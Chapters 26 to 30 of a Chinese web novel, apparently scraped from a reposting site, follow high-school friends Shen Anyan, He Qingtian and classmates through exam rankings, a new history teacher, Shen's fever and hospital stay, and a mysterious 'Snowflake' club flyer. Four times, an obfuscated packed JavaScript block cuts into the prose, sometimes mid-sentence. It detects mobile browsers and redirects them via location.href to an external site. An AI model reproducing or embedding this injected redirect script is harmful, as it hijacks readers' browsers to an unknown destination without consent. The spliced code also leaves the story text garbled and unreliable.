江小松本要过来给陈杉送礼物,结果见有老师在教室,又忙溜了回去。 姜老师手上拿着一摞纸条,对照着将它们一个个发了下去。 班上同学对此见怪不怪,娴熟地嚎成一片。 “这么快就出成绩了吗?” “得,这下脑子瞬间就清醒了……” “本来还想再摆几天的……” 这是一班的惯例了,成绩单打印出来后,班主任会把每个人的成绩条裁下来,一个一个发下去。 林跃领了自己的成绩条,看起来还算满意。 “年排四十六,还成。班班小宴,你们俩的怎么样?” 她转头问道。 贺晴天道:“挺好的。” 沈安宴道:“正常发挥。” 两人都没藏着掖着,林跃索性直接凑过去看了。 然后她就一点也不觉得自己的成绩令人满意了。 贺晴天第一,六百九十六分,沈安宴第二,六百八十九分。 林跃觉得自己刚过六百的成绩搁这两位面前瞬间不够看了。 她的文综甚至比沈安宴还高了十多分。 林跃默默叹气,默默扭头,默默自我开解,人外有人,天外有天,要跟自己比,不要跟别人比。 第一节课下,姜老师收拾完教案刚一出门,江小松就风风火火地从后门进来了。 陈杉见状忍不住笑道:“哟,瞅把你给急的,迟一步都不成。” 江小松笑道:“给你送东西啊,那当然得急。” 她把书包打开递给陈杉,让对方挑了。 陈杉有点惊喜:“哇,好漂亮!我就说呢,看她们桌上都放了这个,我还想着是咱们学校又出什么新玩意儿了呢!” 给陈杉送完了礼物,江小松又凑到沈贺两人那边去:“我问了顾辞江的成绩,他第三,那前两名肯定就是你们了,快快让我看看。” 贺晴天将成绩条递给好友,沈安宴扬了扬下巴,示意自己的成绩条就在桌上,让对方直接拿。 江小松看完也是一阵哀嚎:“宴儿——我看老师以后也不用费劲儿了,直接给你数英两门提前打好满分,还省了录成绩的功夫……” 她嚎完又仔细一瞅,惊道:“不儿,你两门满分,怎么还是第二?” 沈安宴道:“有一有二才是常态,总不能每次都第一吧。其实上次考第一也是占了你们假期没好好学的便宜。” 贺晴天道:“主要是你文综拖后腿了,还不到二百六。” 江小松瞅了一眼,惊道:“真的!宴儿你这文综也太差了吧,还没我高呢……” 她话说一半又苦了脸:“不行,更伤心了,我文综比你高二十,结果总分你是怎么拉我三十多的!” 林跃叹道:“你以为就你一个人吗,我文综也比她高,但她拉了我四十多。” 陈杉扶额:“那我呢?我文综总分都没小宴高……” ———— 除了月考成绩新鲜出炉外,今天还有一件大事,那就是历史祁白老师正式交接完毕,要来两个重点班带课了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307468|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 得知这个消息的两个班又一阵欢欣鼓舞,林跃和江小松甚至拿班里电脑放起了好运来,歌声飘的整个楼道都是,最后被姗姗来迟的年级主任罚写了检讨。 祁白老师年纪在六十上下,身量高挑,体格结实,身上有一种岁月静好的悠闲气质,脸上总是挂着温和的笑意。 她进班后和同学们介绍了一下自己的名字,就笑盈盈地问道:“你们的课上哪里啦?” 林跃坐前排,闻言“哇”一声哭诉道:“老师——一节课都没上,我们之前的老师只知道扯闲,从来没给我们正经讲过课!” 这一下可真是道出了同学们的心声,大家纷纷控诉起前任老师的种种恶劣事迹来。 祁老师微笑着倾听,时不时点点头,等大家说够了,她方才做了个停的手势。 大家不约而同地停了下来。很神奇,祁老师并不是那种严肃到令人害怕的老师,相反,她展现出的都是温和有礼的一面,却不自觉令人信服。 祁老师道:“好,我明白了。既然事情已经这样了,那咱们就来想解决的办法。好在还有两年时间,咱们抓紧一点,还是能够完成教学任务的。这就需要大家多多配合了,好吗?” 大家齐齐应了好。 祁老师便翻开了课本,笑着道:“好,那话不多说,咱们开始上课吧。” 祁老师是老派教师,其中一个表现就是她不喜欢用PPT,上课只用课本和板书来讲解。 但大家谁都不觉得无聊,反而还听得聚精会神。 因为祁老师上课真的很有意思。她也喜欢引申,但不像前任老师那样能从秦始皇修长城发散到学校足球运动会。她的引申都和课程相关,什么名人轶事,什么坊间趣谈,逗得同学们哈哈大笑。 而且她的课极有条理,讲的故事有趣之余,都和知识点相联,可以再次强化加深学生对此的理解。 一节课上完,大家都听得意犹未尽。祁白老师挥了挥手示意大家可以下课了,但没有立刻离开,而是向前排同学问道:“你们班的课代表是谁?” 陈杉解释道:“老师,我们之前的历史老师没有安排过课代表,一般有什么事都让班长做了。” 祁老师道:“哎呦,这可不行,班长忙的事可多着呢,我就不给她增加负担了。” 她在班上环视一圈,一眼就看中了沈安宴,走到对方桌边问道:“这位同学,你叫什么名字?有没有兴趣来当我的课代表?” 沈安宴一怔,没想到对方会选到自己,礼貌地回答道:“盛宴,可以的老师。” 祁老师笑了笑,说道:“平时除了收发作业,应该没有别的事了。有的话我会让人来叫你。” 给自己的新课代表安排好工作后,祁老师才抱着教案离开了班级。 林跃有点羡慕地说道:“我可喜欢祁老师了,我也想当她的课代表。” 沈安宴挑眉笑道:“可惜被我捷足先登了,或者你可以努力学历史,当祁老师的历史第一。” 林跃叹道:“可以啊,让前两个班的人都交白卷,那我考个第一还有希望。” 不出意外,祁老师在隔壁班也受到了同学们的喜爱。隔壁班选出的课代表是江小松。历史课一下,她就跑来沈安宴这儿唠嗑,先是夸耀了一番自己当课代表的事,接着又说祁老师讲课有多么多么好。 最后她朝沈安宴比了个大拇指,笑道:“这么说来,还多亏了你,才给咱们调来一个这么好的老师!宴儿,咱们两个班的大功臣啊!” 27. 生病 时节渐渐入冬,气温忽冷忽热之下,感冒发烧的同学变得越来越多。 姜老师在班上强调过好几次出门要注意保暖,千万记得多穿点,不要着凉了。 林跃和江小松依旧生龙活虎的,没有被这场突如其来的大降温影响分毫。贺晴天每天很注意穿衣喝水,几个人都没生病。陈杉稍微有点咳嗽,但也靠着喝热水扛过去了。 只有沈安宴光荣中招,每天摆烂摸鱼的后果这时候就显现了出来,她今天一早上都觉得脑袋昏昏沉沉的。 贺晴天摸了好几次同桌的额头,奇怪道:“也不烫啊,实在不舒服的话要不和老班请个假?” 沈安宴爬在桌上,闻言有气无力地回答:“可能就是困了,我睡一会儿就好。” 贺晴天道:“好吧,那我去吃午饭了?可能是感冒了,我回来的时候给你买点感冒灵。” 沈安宴含糊地“嗯”了一声,眼皮刚一合上,很快就陷入了沉睡。 可她的脑袋越来越昏沉,还伴随着一阵阵恶心头痛,沈安宴睡得难受,迷迷糊糊间感觉有人将手搭在了自己的额头上。 那只手柔软,清凉,还带着一点她熟悉的香味,是鸢尾花的味道。 沈安宴掀起眼皮,就见顾辞江站在她身前,眉头正轻轻皱着。 见对方醒了,他低声解释道:“你今天中午没有来找我,我就过来看看……” 他将手背从对方额头上挪开,又问道:“还走得动吗?我送你去医院。” 沈安宴缓了好一会儿,方才依言站了起来。行动上倒是没有大碍,只是脑袋像被锈住了一样,无法思考任何事情,连听别人说话都要反应一下才能想明白对方的意思。 顾辞江犹豫了一下,还是主动握住了对方的手腕:“走吧。” 沈安宴问道:“请假……” 顾辞江道:“我找同学和你们班主任说了,不用担心。” 他顿了顿,又补充道:“跟着我就好。” 沈安宴便跟着对方走了。周围的一切于她而言都像是雾里看花,唯有腕间那点温热实实在在。不知过了多久,手背上生出一点刺痛,接着有冰凉的液体缓缓流了进来。 似乎有人扶着她躺在了床上,脑袋后垫上了一只枕头,温和的声音在她耳边响起:“这个高度可以吗?” …… 虽然知道有些不合时宜,也有可能是她真的被烧坏了脑袋,沈安宴不受控制地被这句话勾起了一些不可言说的画面。 也是在床上,不过地点不是在医院,而是卧室,欢愉过后,对方也是这样为她垫好了枕头,温和地问道:“这个高度可以吗?” ……真是要形成条件反射了。 沈安宴胡乱“嗯”了一声,放松地枕在了枕头上。 身体的不适在输液中稍稍减退了一点,困意逐渐涌了上来,沈安宴很快又睡了过去。 顾辞江陪在对方身旁,偶尔抬头看一看输液的情况,好及时让护士来更换。 虽说家里有私人医生,但顾辞江犹豫片刻,觉得不经对方同意就随便把人带去家里多少有些不合适,最后还是选择了来医院看病。 沈安宴当时看起来已经有些烧糊涂了,一路上都没怎么说过话,等到了医院一瞧,嚯,三十九度。 量体温的医生看了眼沈安宴,摇着头感叹道:“都这样了还不用人扶着走,小姑娘很厉害啊。” 当然,沈安宴自然是接收不到这句话的,只是低着头发呆。 医生开好了处方,正准备让护士带人找个床先躺着,顾辞江就说道:“麻烦开间单人房吧。” 医生道:“小病而已,用不着住院,能省则省嘛,给你开的药已经不便宜了。” ……这还是头一次有人对顾辞江说能省则省,他有点无奈,解释道:“没事的,住的舒服最重要。” 医生只好道:“也行,但普通病房已经没有了,空着的只有vip病房,你确定要住吗?” 顾辞江点点头:“就是这个,麻烦您安排一间了。” 医生:……?敢情人家本来要的就是vip,压根儿没看上普通病房啊? 行吧,白来的钱不要白不要。医生如此默默吐槽着,依言给对方安排了。 将沈安宴在病房里安顿好后,手机铃声忽然响了起来。 顾辞江忙低头将手机声音调低,拜托护士先照看一下沈安宴后,就出门接了电话。 电话自然是姜老师打来的,她下午没课,来班上来得晚,才知道沈安宴的情况,刚一接到消息电话就打了过来。 顾辞江道:“不用担心,嗯,对,医生说没什么事,已经输过液了……” 确认过这边没问题后,姜老师才放下心来。她本想劝顾辞江先回来上课,自己再找人过去看,但被对方以“反正总需要人看着,自己更方便,还不用来回折腾”为由劝回去了。姜老师便嘱咐对方记得注意安全,有什么问题随时联系,两人才挂了电话。 待到晚间,点滴已经输完了。沈安宴还没醒,顾辞江便为对方掖了掖被角。房门被人轻轻敲了敲,顾辞江手下动作一顿,离开椅子去开了门。 来人是姜老师,身后还跟着一个年轻女人。 姜老师道:“我不放心,过来看看。你怎么还没回家?这里就你一个人吗?” 顾辞江道:“我担心盛宴同学,想等她体温稳定下来再走。这里还有护士,每隔两个小时会来查一次房,床头也有按铃。” 姜老师道:“也好。明天还要上学呢,你记得早些回家,别耽搁学习。我女儿也住在这一层,离得挺近,我叫她帮忙多照顾小宴一些,你别担心。” 顾辞江点了点头。 年轻女人劝道:“姜老师,看也看了,这下能放心了吧,你明天早上有课,也早点回家休息吧。” 姜老师没有推辞,又嘱咐了顾辞江几句,才和年轻女人离开了。 沈安宴的身体素质不错,第一天点滴打完就退了高烧,体温稳定在了三十八度往下。等第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈安宴耸了耸肩:“没事的,都这么多年,已经习惯了。” 两人没再提这件事,顾辞江帮对方洗好一个苹果,正准备削皮,沈安宴见状忙道:“不用削不用削,我吃苹果喜欢连皮吃。” 顾辞江笑了笑,将苹果递给她。 这么一打岔,两人之间的氛围缓和了些,聊起接下来的话题也更加自然了。 顾辞江道:“这几天课上的笔记我做了两份,等回学校了拿给你。” 沈安宴咬了一口苹果,闻言笑道:“哎,那就方便多了,谢谢辞江。” “我没在的话,那我们班的历史作业怎么办?有人管吗?”沈安宴想起自己课代表的身份,罕见地开始操心起来。 顾辞江道:“收发作业的任务贺晴天帮你做了,江小松也有帮忙。” 听到这两个人的名字,沈安宴就不操心了。 窗外天色渐深,尽管有点舍不得,沈安宴还是催促道:“很晚了,快回去吧,明天再聊。” 顾辞江点点头,起身离开前,他嘱咐道:“记得早点睡。” 沈安宴往床上一趟,将被子拉起来盖上,闻言看向对方笑道:“睡了睡了,要睡了,晚安。” 这场景实在有些微妙的暧昧,顾辞江垂眸,顺手帮对方关掉灯,也轻轻应道:“晚安。” 28. 医院 除了顾辞江和护士,住院这几天,沈安宴接触到的最多的人就是姜暖和林鹿了。 姜暖是姜老师的独生女,今年二十六岁,是一家大集团的执行总监,在工作上雷厉风行,不过私底下是个平易近人的性子。 决定怀孕前,她提前申请了产假,又将工作同后辈交接好,就安安心心地回家备孕了。 如今孕期已有八个月,安全起见,她住进了医院,确保能更加顺利地临盆。 林鹿则是她的好友,是位小有名气的画师。她家境不错,平时会接一些画稿,或是办办画展,日子过得闲情逸致。 两人从高中时起就认识了,彼此间性格相合,志趣相投,即便大学没在一起上,甚至步入社会开始工作后,感情都没有疏远过。 至于姜暖的伴侣,从住院到现在一直没有出现过。沈安宴对此倒习以为常,但这里毕竟是九年前,护士们闲暇时,最喜欢聊的话题就是姜暖林鹿二人。 “啊?没有伴侣?那孩子……” “听说是在专门机构那里借的。” “噢,这个正常,现在挺多人都推崇单身独育,不过我更好奇的是她们两个人的关系,同性恋吗?” “这个不是,我专门问过的,就是朋友关系。” “那到底是个什么情况?” 沈安宴听得奇怪,插嘴道:“就是新式家庭啊,不局限于性缘关系,只要两个人合得来,就组建家庭一起养孩子。” 众人齐齐一愣。 “新式家庭,这是什么东西?”有人问道。 “噢,我好像听说过,这两年流行起来的一种形式,和这个小孩说的差不多。就是不再遵循正常家庭的异性结为伴侣,以一母一父的形式养育孩子。而是只要两个人合得来,那就在一起生活,不以结婚为目的。如果想养孩子的话也行,一方生或者双方都生。反正挺自由的,一切以自己的喜好来。但还是小众,也没见多少人去做。”一个年轻护士解释道。 沈安宴有点困惑,虽然对方的解释本质上和自己说的差不多,不过一些细节和未来仍有些出入。 在她的时代,这种新式家庭已经非常普遍。婚姻已不再是旧时代爱情的载体,而是利益交换的媒介。只有大家族想要加强彼此间的联系,或者培养继承人,才会选择婚姻。普通家庭大多都推崇新式家庭,或者单身独育。这种一母一父式的家庭在未来可不叫正常家庭,而是和新式家庭相对,被称为传统家庭。 但想想这里毕竟是过去,沈安宴在历史书上看到过,这段时间也是社会新旧交替思想激变的时代,存在和未来有差异的地方也正常。 “哇偶,感觉好酷哎!” “我本来是打算单身独育的,不过这个新式家庭感觉也不错,能和一个志同道合的人一起生活感觉很幸福啊。” “但是也有问题吧,不找个男人,那家里孩子谁管。家务活儿可以请家政,但孩子没家人陪伴可怎么行?” “喔,这么看来姜女士她们的组合就很不错嘛,姜女士在大公司里上班,听说一年收入上百万呢。林女士听说是在家里工作,那不就有时间陪孩子了?” “嗐,还得是有钱人才能这么弄,没钱还是老老实实找个男人结婚吧。请家政可不便宜。” “但是孩子是姜女士的,林女士愿意养一个跟自己没血缘关系的孩子吗?”一个男护士问道。 这句话得到了一片齐刷刷的白眼儿。 “都什么时代了,还纠结这些血缘不血缘的,你是神龙血脉啊,非得传承下去不可?” “毕竟不是自己的孩子,到时候光给自己亲妈养老,不给干妈养老,那怎么办?”那个男护士不死心地追问道。 一个老护士斜他一眼,冷笑道:“怎么,你生孩子就是为了养老?噢,说的不准,你还生不了孩子。退一万步讲,就算是为了养老,最主要的还得看怎么教孩子。教好了哪怕没血缘关系也会孝顺你,教不好——那些把亲生孩子养成白眼狼的事儿还少吗?” 年轻护士对此不敏感,见苗头不对,忙打着哈哈以“到查房时间了”为由将两个人劝开了。 沈安宴见大家散了,也跟着离开了前台。 现在是上午,也没人来看她。她在病房里闷得无聊,就出来随便转转。这些天她同查房护士们关系处得不错,见她们在前台聊天,就也凑过去扯闲。没成想竟扯出了这么一桩事。 眼见聊天是聊不成了,她又懒得回屋,既然刚才聊到了姜林二人,她索性就跑去对方病房串门。 沈安宴的病已经痊愈了,也没有会不会传染的顾忌,因此串门倒不用担心。 她敲了敲门,听到一声“请进”后,方才推门走了进去。 “哎,小宴来了?” 刚一进门,她便听到了一道熟悉的声音。沈安宴抬头看去,就见病房里有四个人,除了姜暖和林鹿外,还有姜老师,以及一个五十上下的中年女人。 方才那声招呼就是姜老师打的。 沈安宴笑着道了声“来了”,正准备关门,姜暖忙叫住了她的动作:“哎,小宴,不用关了,开着透会儿气吧。” 沈安宴便把门打开了,又上前一一问了好,笑着道:“在屋子里闷得无聊,就想出来转转。” 姜暖忍不住笑了,她赞同道:“不下雨就是闷,要不是有人陪着聊天,我在房间里也坐不住。” 姜老师笑道:“是这回事。我刚才还说呢,待会儿要去小宴房间看一眼,可巧就过来了。” 林鹿拉过来一把椅子,示意沈安宴坐下。 那位中年女人仔细打量了沈安宴一番,转头朝姜老师问道:“这是……” 姜老师笑着介绍:“我学生,盛宴,前几天生病了,也在这里住着。” 中年女人“噢”了一声,笑道:“那还挺巧。” 她看向沈安宴,和蔼道:“我叫许召,是妇产科的主治医生。” 沈安宴微微一怔,总觉得这个名字有点耳熟,但面上没有表露出来,乖巧地道了声:“许医生好。” 寒暄过后,姜老师又接回了之前的话题:“刚刚聊到哪儿了?” 姜暖笑道:“给孩子起什么名字。” 姜老师道:“对了,就是这个。起名字可是件大事,要好好起。” 林鹿道:“我和阿暖已经想好了,就叫姜舒云,舒适的舒,云朵的云。” 许医生认真听着,闻言点点头,赞道:“好名字。” 姜老师也喜欢这个名字,她是语文老师,赞的就更仔细了:“是好,‘去留无意,漫随天外云卷云舒’,大气。” “叮铃”一声,有护士在门口探头招呼道:“许医生,有人找您。” 许医生“哎”了一声,朝几人致歉道:“你们聊,我过去看看,失陪。” 待沈安宴和姜家三人告别离开时,许医生依旧没有回来。她下楼准备出去转转,顺带活动活动筋骨,碰巧就遇上了还在看诊的许医生。 她对面坐着一个肚子微隆产妇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358128|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边还陪着两个男人。 这组合有点奇怪,沈安宴多看了几眼。 那位产妇脸色蜡黄,眼袋浮肿,脊背微微驼着,看着有些畏缩的样子。至于她身旁的两个男人,一个看着应该是她的伴侣,另一个大概是她的父亲,都是一脸的刻薄凶相。两个男人同产妇紧紧挨着,那位父亲模样的男人甚至把手按在了产妇肩膀上。 许医生面色不是很好,她提醒了好几次让男人们离产妇远些,但总是没一会儿,男人们又会恢复原样,像是怕产妇突然消失一样。 产妇低着头,嗫嚅着说:“没……没事的,没事的……” 沈安宴皱了皱眉,总觉得这一幕有些不顺眼。 ———— 等沈安宴出院那天,一大早,她的房间迎来了几个意外访客。 林跃第一个走了进来,她刚推开门就笑着欢呼道:“当当当——惊喜!” 沈安宴忙从床上下来,神色间是掩饰不住的雀跃:“你们怎么来了?” 贺晴天从后面跟了进来,她怀里抱着一大束百合花,上面还带着一点晶莹的露珠。 “我们昨天和姜老师商量的,知道你今天出院,就请了假一起来看你。” 沈安宴道:“谢谢你们,不过不会耽误你们听课吗?” 陈杉探头笑道:“才不会,昨天刚考完试,我放松还来不及。今天就是讲评卷子,缺一节也没关系。而且历史和数学都在下午,那就更没事了。” 林跃道:“你这病的可真是时候,刚好躲过期中考。” 沈安宴玩笑道:“哎,这可不好,又少了一次竞争第一的机会。” 贺晴天挑眉:“那就多谢小宴把这个机会留给我了。” 林跃哀叹道:“班班,你昨天还说你考得一般般,这下暴露了吧?第一都手拿把掐地准备好了。” 大家嬉笑打闹着帮沈安宴收拾好了东西,又从医生那里确认过后续的注意事项,才一起离开了医院。 时间还早,林跃忍不住提议道:“咱们要么……在外面吃个饭?” 这话正合陈杉心意,她第一个响应:“走走走,这几天为了多点复习时间,顿顿都是开水面包,嘴里都快淡出鸟来了。” 两人意见相合,又齐齐看向还没发表意见的沈、贺二人。 沈安宴挑眉笑道:“噢——原来探望我是假,找机会下馆子是真啊?” 林跃笑嘻嘻地搂住她的肩膀:“哎呀小宴,下馆子是顺带的,主要还是来接你。” 沈安宴笑道:“得,我没意见,刚好这几天为了养病一直吃清淡的,也是时候补偿一下自己了。” 贺晴天道:“那我给咱们查附近有什么好吃的。小宴,你也要注意,身体刚好,别吃生冷辛辣的。” 陈杉道:“噢不,出去不吃生冷辛辣的,那还有什么乐趣可言?” 林跃拍拍沈安宴的肩:“无碍无碍,你看着我们吃就好。” 沈安宴:…… 几人去了附近商场一家极受好评的旋转小火锅吃饭。菜品样式繁多,味道也不错。沈安宴趁贺晴天不注意,偷偷夹了几块冰荔枝塞嘴里吃了。 林跃美滋滋地搓了一大把烤串,吃到一半还给江小松发去一张她们吃火锅的照片,激得江小松吱哩哇啦发来一大串控诉。 江边小松树:小人得志!小人得志! 跃跃欲试:那你吃不吃? 江边小松树:[wink] 江边小松树:妈,要吃~ 29. 雪花 沈安宴夹了几根薯条放在碟子里,又从碟子里夹起一根准备吃,就见一小碟番茄酱被推到了自己手边。 是贺晴天放过来的。 沈安宴道了声谢,意思意思蘸着吃了几根,之后就没见她再蘸过了。 贺晴天问道:“不喜欢番茄酱吗?” 沈安宴道:“还好,就是更喜欢不蘸酱直接吃。” 林跃给江小松发完消息,将手机收了起来,闻言道:“噢,那咱们俩一样,都是原味党。” 陈杉笑着说:“那我和班班就是番茄党,不过你们不蘸番茄酱直接吃不会腻吗?” 沈安宴道:“还好。” 林跃道:“话说你们没人爱这样吃吗?把薯条直接吃完,然后再单独吃番茄酱。” 陈杉一脸不敢恭维的表情。 贺晴天笑道:“这有什么,小松还喜欢蘸酸奶吃。” 其她三人听了这话一脸菜色。 林跃叹道:“我说的,以后她别当海城人了,单列出一个城给她吧。” 大家闻言又齐齐笑了。 沈安宴好不容易止住了笑声,左右看看打算转移注意力,就见桌边不知什么时候放上了一张传单。 这传单设计地并不花哨,布局简洁素雅,字体的大小排列也让人看着非常舒服,唯一的装饰大概只有角落里的一片雪花。 她心下好奇,将传单拿到手上来看。 “既已熬过长冬,怎能不将烈火烧遍大地。” 纸上除了地址,只写了这么一句话。 林跃探过头来:“你在看什么?半天不吃饭。” 沈安宴将传单展示给三人看:“这个,感觉还蛮有意思的。” 林跃和陈杉都没读懂,贺晴天看了一眼,倒是提供了些信息。 “这个我听说过,好像是一个命名为雪花的读书分享会,里面的成员大多是历史爱好者,不过入会条件非常严格。” 林跃“噢”了一声,“历史啊,这不就专业对口了,小宴你不去试试?” 沈安宴将传单随手折起来,闻言笑道:“我就是喜欢祁老师的历史课,对研究历史可没什么兴趣。” 回学校时午休刚结束,几人是最先到班上的。 贺晴天去找班主任报备大家已经回来了的消息,剩下三人便各回各位,林跃翻出手机似乎正在发消息。 没过一会儿,同学们从宿舍楼陆陆续续回班了,江小松和李欣然也先后来了一班。 江小松一见面就叽叽喳喳地叫嚷起来:“吃的吃的,我的好吃的呢?” 林跃指了指桌上的小吃:“班长给你买的。” 江小松仔细一瞧,都是她爱吃的,脸上瞬间露出了笑容:“晴儿就是好!哎等等,既然东西是晴儿给我买的,你竟然还骗我叫你声妈!” 林跃一扬脑袋:“我可没骗啊,那是你自愿叫的!” 两人斗了回嘴,沈安宴提醒道:“赶紧吃吧,不然等会儿上课了就吃不成了。” 江小松闻言立刻收声,抱上零食开始暴风吸入。 李欣然也来了班里,林跃一见她就招手笑道:“快来!给你买了奶茶还有小蛋糕!” 李欣然笑嘻嘻地蹦了过来,将装着甜品的袋子拿起,正准备说自己回班上再吃,一抬头,就见陈愿老师从前门走了进来。 她忙把袋子往身后藏了藏。 江小松也顿住了吃烤串的手,讪笑着朝陈愿看去。 陈愿显然注意到了几个人的小动作,眉毛一挑笑道:“哟,开小灶呢?” 见老师没生气,大家这才松了口气。林跃甚至有闲心玩笑:“老师,你要不要也来点?” 陈愿道:“不来啦,你们吃吧。赶紧吃哈,可别拖到一会儿上课吃了。” 李欣然忙点了点头,江小松讨好地“嘿嘿”笑了两声,两人一起从后门溜回了自己班。 陈愿走上讲台,惯例扫视一圈班里,准备收回目光时又觉得哪里不对,往下边儿多看了一眼。 “哟,我就说总觉得忘了啥。” 陈愿笑着看向沈安宴:“原来是你回来了。怎么样,身体好全了吗?” 沈安宴应道:“好全了!” 她凹了一下自己胳膊上的肌肉,自信道:“现在就是去操场跑上十圈都没问题!” 陈愿乐道:“哟,你这胳膊还挺壮实。” 林跃闻言更用力地凹了一把自己胳膊上的肌肉,秀道:“老师你看,我比她更壮实!” 陈愿配合道:“嚯,你这胳膊都能把讲台搬起来了!” 班上同学一听都激动起来了,于是等贺晴天回来时,就见同学们纷纷秀起了自己的肌肉。 贺晴天:? “话说回来,陆舟怎么没跟你们一起来?”下课后,沈安宴忽然想起这一茬,便向左右问道。 陆舟那个性子,没送她去成医院都能急得吱哇乱叫,按理说也不会错过来探病的机会。 林跃道:“噢,之前我们商量着要去接你出院,他本来说好了要一起,结果昨天不知道怎么也生病了,只好请假回家了。” 沈安宴点了点头,确认周围没有老师,便从包里翻出手机给陆舟发信息。 盛宴:你生病了? 盛宴:严重吗? 陆舟:没多大事,就是小感冒。 陆舟:本来商量好今天一起去找你的,又怕给你传染就不好了。 陆舟:[可怜] 沈安宴刚给对方发去一个“摸摸头”的表情包,就听见身后响起一道不同寻常的脚步声。 她将手机不着痕迹地塞进书包,脚下又踢了踢前面林跃的凳子,轻轻咳嗽一声。 林跃心领神会,非常自然地一手挠头,另一只手则将手机塞进了衣兜。 下一秒,身着休闲西装的修长身影掠过二人。祁老师走上讲台,将教案在桌上放好。 林跃停顿片刻,方才转身冲沈安宴做了个龇牙咧嘴的表情。 她压低声音问道:“你怎么发现的?” 沈安宴同样小声回答道:“听声音,老师的脚步声和学生的有区别,前者一般会更稳更有规律些。” 林跃一脸牙疼:“这还能有区别……” 讲台上传来一声轻咳,二人忙止了闲谈,向前方看去。 祁老师朝沈安宴问道:“回来啦?” 沈安宴因为偷看手机的事有点心虚,闻言立刻直起身子,正襟危坐着点点头。 祁老师笑道:“这么紧张做什么?这节课讲卷子,你领没领这次的期中考试题? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369917|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 上节课陈愿讲题时,把题目在白板上投影好后,就直接把自己的卷子借给了沈安宴看。下课后沈安宴又忙着跟陆舟联系,竟还没来得及找班主任领卷子。 她摸了摸鼻子:“还没……” 祁老师道:“我多带了一份,你拿着吧。待会儿下课记得去领。” ———— 重点班的改卷速度一如既往地地狱,第一节晚自习刚下,成绩就已经新鲜出炉。 这消息自然是江小松这个万事通打听到的,她不仅打听到了这个,还从班主任电脑上瞄到了排名。 “晴儿,你这次神了!” 这回她倒是不卖关子,得知消息后火速冲进了一班宣布。 不用林跃几人催她,江小松就凑到桌边按住了贺晴天的肩膀,兴奋地嚷嚷道:“晴儿!你第一!” 贺晴天道:“好好好,知道了。” 林跃奇怪道:“班班得第一又不是什么稀罕事儿,用得着这么激动吗?” 江小松高兴得说不出话来,她深呼吸一口气,勉强平复下激荡的心情,骄傲地大声宣布道:“我就瞄了一眼,具体的成绩记不清了,但晴儿的总分是七打头的!” 这下班里炸开了锅,此起彼伏的吸气声和惊呼声充斥着整个教室,离得近的人先是震惊,接着就拍手叫起了好。 “我去,厉害啊班长!” “这是咱们学校目前为止第一个上七百的分数了吧?” “理科班听说都没有上过七百的!” “理科不是更难吗,没有可比性吧?” “放屁,文科想上七百可比理科难多了!” …… 其中数林跃的欢呼声最大,她欢呼完又一把搂住了贺晴天,发自内心地为对方高兴:“厉害!太厉害了!班班你就是我的女神!” 陈杉也鼓掌赞叹道:“以后考试我不拜文曲星了,我要拜班长!” 沈安宴也和大家一起鼓着掌,脸上的笑容掩都掩不住。 江小松乐道:“你们刚刚还说我呢,看现在一个个的,可比我激动多了!” 林跃道:“这么大的喜事肯定要激动啊!” 贺晴天被簇拥在欢呼与掌声中心,脸上的神色有点无奈:“咳咳……好啦好啦,也没有这么夸张,主要是这次的题简单……” 班上的喧闹声引来了年级主任,对方用力敲了敲门,眉毛一竖凶道:“吵什么吵,还上不上晚自习了?这是重点班该有的样子吗?” 班上同学这才稍稍平复下来。 主任又将目光投向江小松,表情一时更严肃了:“江小松!又是你!看看这是你自己的班吗?” 江小松的兴奋劲儿还没过去,被训了也不害怕,眉开眼笑地回道:“老师,我有好事!贺晴天这次期中考试考了七百多分!” 主任闻言眉毛也不竖了,她惊喜地睁大眼睛,咧嘴笑了起来:“真的?” 江小松道:“保真!不信你去问我们班主任嘛!” 主任朝贺晴天竖了个大拇指,临到头了记起自己来时的目的,又把脸一板,让班上同学注意着点,接着迈起轻快的步子离开了,看方向是往办公室去的。 大家刚被训过,也不好太过分,于是压着音量又齐齐笑了起来。 30. 闲暇 “哎呦,一个个的跟打了鸡血似的,这是出了什么喜事儿?” 陈愿手上拎着一杯奶茶,还没进班就听到里面传出的笑声。搁平常她早训开了,不过今天高兴,因此她的脾气也好上了不少,坐到讲台上后还有心情同学生们开玩笑。 林跃高兴道:“是……哎老师,你今天怎么还喝奶茶呢?” 